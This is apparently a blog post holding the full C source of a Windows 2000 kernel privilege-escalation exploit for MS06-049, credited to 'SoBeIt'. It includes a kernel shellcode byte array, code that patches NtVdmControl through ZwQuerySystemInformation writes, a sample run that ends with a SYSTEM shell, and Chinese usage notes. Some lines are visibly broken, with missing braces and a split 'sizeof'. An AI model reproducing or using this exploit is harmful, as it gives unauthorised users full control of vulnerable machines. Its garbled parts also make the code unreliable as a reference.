typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};

unsigned char shellcode[] = 
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"

"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
ULONG ret = 0;

while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}

return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;

for(i = 0; i < Sections; i++)

if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData) 
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}

return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;

for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}

return 0;
}

void GetFunction()
{
HANDLE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");

FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;

ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);

if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");

if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");

ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer); 
return (ULONG)pSystemModuleInformation->Base;
}

pSystemModuleInformation++;
}

free(pBuffer);
return 0;
}

int main(int argc, char *argv[])
{
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
PUCHAR pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
USHORT index;
HANDLE hDevice, hFile, hFileMap;

printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}

GetFunction();

if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, s
izeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");

KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");

printf("Kernel base address: %x\n", KernelBase);

pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");

pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");

printf("Allocated address:%x\n", pStoreBuffer);

if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");

strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = createFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = createFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");
}

if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");

printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");

if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");

pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;

pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));

pNamesArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));

pFunctionsArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));

pOrdinals = (PUSHORT)(pBase + 
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));

len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}

if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");

index = pOrdinals[i]; 
HookAddress = pFunctionsArray[index] + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
printf("%s Address:%x\n", "NtVdmControl", HookAddress);

pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;

for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);

buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x10; 

memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}

Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (0xe9 << 8) & 0xff00;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[0]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
break; 
}

printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);

Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}

Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[1]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
break;
}

printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);

memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));

CloseHandle(hFile);

printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);

return 1;
}



Usage:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>ms06-049

MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerabil
ity Exploit

create by SoBeIt.

Kernel base address: 80400000
Allocated address:420000
File size:1a3b10
NtVdmControl Address:80512dae
Single value:5a
Jump value:e900
Base value:ec8b55cc
Need value generated:ec8be91a
Count value:1a3
Single value:5a
Jump value:8070
Base value:7868ff6a
Need value generated:78698070
Count value:16f
Exploitation finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>

如果是FAT文件系统,直接运行即可。如果是NTFS文件系统,需要把一份当前内核对应的ntoskrnl.exe上传到与exploit同一目录下使用。

分类: 矩阵毒刺 标签: